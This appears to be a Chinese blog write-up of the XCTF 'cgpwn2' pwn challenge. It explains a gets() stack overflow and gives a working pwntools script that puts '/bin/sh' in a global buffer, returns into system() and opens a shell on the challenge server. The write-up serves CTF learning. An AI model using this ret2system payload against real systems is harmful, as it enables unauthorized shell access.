day-10 xctf-cgpwn2
xctf-cgpwn2
题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5059&page=1
拿到题目,checksec,发现No canary found ,唔。。。。

运行一下,大概功能是:输入名字,输入message,输出thank you

将其拉入ida查看,查看字符串,只发现了system,看来我们需要构造system('/bin/sh')

查看主函数,调用了函数hello()

查看一下hello()函数

发现gets危险函数,着重注意。查看一下fgets中的name,地址为:0x804A080,这是一个固定的地址,或许可以修改这个位置的值为'/bin/sh
或许可以通过栈溢出的方式,返回system地址,然后调用这个修改过的name的参数地址,执行system('/bin/sh')

寻找system调用的地址,为0x8048420

点击&s查看到s占用的栈空间为38

那么可以构造exp了:
from pwn import *
context.log_level = 'debug'
#cnn = ('./cgpwn2')
cnn = remote('111.198.29.45',37310)
#elf = ELF('./cgpwn2')
system_addr = 0x8048420
binsh_addr = 0x804A080
payload = 38*'a' + 4*'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)
cnn.sendlineafter('name\n','/bin/sh')
cnn.sendlineafter('here:\n',payload)
cnn.interactive()
exp
通过返回的shell,然后cat flag就能得到flag了

总结:无中生有
day-10 xctf-cgpwn2的更多相关文章
- 攻防世界pwn之新手区
涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...
- 攻防世界(XCTF)WEB(进阶区)write up(一)
cat ics-05 ics-06 lottery Cat XCTF 4th-WHCTF-2017 输入域名 输入普通域名无果 输入127.0.0.1返回了ping码的结果 有可能是命令执行 ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- xctf攻防世界——crackme writeup
感谢xctf提供学习平台 https://adworld.xctf.org.cn crackme有壳,脱壳部分见文章: https://www.cnblogs.com/hongren/p/126332 ...
- 【CTF】Pwn入门 XCTF 部分writeup
碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! ...
- XCTF.MISC 新手篇
目录 泪目 1.this_is_flag 2.pdf 3.如来十三掌 4.give_you_flag 5.坚持60s 6.gif 7.掀桌子 8.ext3 9.stegano 10.SimpleRAR ...
- 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup
攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...
- XCTF练习题---MISC---Hidden-Message
XCTF练习题---MISC---Hidden-Message flag:Heisenberg 解题步骤: 1.观察题目,下载附件 2.拿到手以后发现是一个数据包格式,打开看一下 3.查看UDP流,并 ...
- XCTF练习题---CRYPTO---Morse解析
XCTF练习题---CRYPTO---Morse解析 flag:morsecodeissointeresting 解题步骤: 1.观察题目,下载附件进行查看 2.得到文件内容,由0.1组成,初步判断为 ...
- Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part3:db安装和升级
Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part3:db安装和升级 环境:OEL 5.7 + Oracle 10.2.0.5 RAC 5.安装Database软件 5. ...
随机推荐
- jetty的jndi
jetty的jndi和tomcat的用法 tomcat的jndi是内置的,在web.xml文件里直接默认支持的,所有web项目可以直接使用 <resources> <!-- < ...
- xscan的安装和使用(作业整理)
1.将学习通上下载的xscan.rar进行解压. 2.将缺少的.dll文件粘贴到软件解压目录中. 3.点击打开软件. 3.1在运行中除了发现缺少.dll文件的问题,我电脑又出现类似问题, 采取了关闭防 ...
- Docker安装Openvas
目录 安装 在本机内运行 在局域网内运行 关闭 参考 安装 ➜ ~ docker search openvas NAME DESCRIPTION STARS OFFICIAL AUTOMATED mi ...
- HDOJ-6666(简单题+模拟题)
quailty and ccpc hdoj-6666 题目很简单,按照题目的意思模拟就行了,排序. #include<iostream> #include<cstdio> #i ...
- AJAX 加载效果(遮盖层)
//创建遮罩层函数体 function createMask(){ var node=document.createElement('div'); node.setAttribute('id','ba ...
- pytorch(04)简单的线性回归
线性回归 线性回归是分析一个变量与另外一个变量之间关系的方法 因变量:y 自变量:x 关系:线性 y = wx+b 分析:求解w,b 求解步骤: 确定模型,Model:y = wx+b 选择损失函数, ...
- Java 学习阶段性感想
阶段性感想·操千曲而后晓声 回顾 从2月17日 到 今天 4月19日,我算是暂时完成了Java入门的学习了. 从基本语法到面向对象,从常见API到字符串集合,从文件处理到多线程,我学到了很多,很多很多 ...
- redhat安装python3.7
下载并解压: 1 wget https://www.python.org/ftp/python/3.7.2/Python-3.7.2.tgz 2 tar -xzvf Python-3.7.2.tgz ...
- 微服务架构Day16-SpringBoot之监控管理
监控管理使用步骤 通过引入spring-boot-starter-actuator,可以使用SpringBoot提供应用监控和管理的功能.可以通过HTTP,JMX,SSH协议来进行操作,自动得到审计, ...
- Activiti工作流学习笔记(三)——自动生成28张数据库表的底层原理分析
原创/朱季谦 我接触工作流引擎Activiti已有两年之久,但一直都只限于熟悉其各类API的使用,对底层的实现,则存在较大的盲区. Activiti这个开源框架在设计上,其实存在不少值得学习和思考的地 ...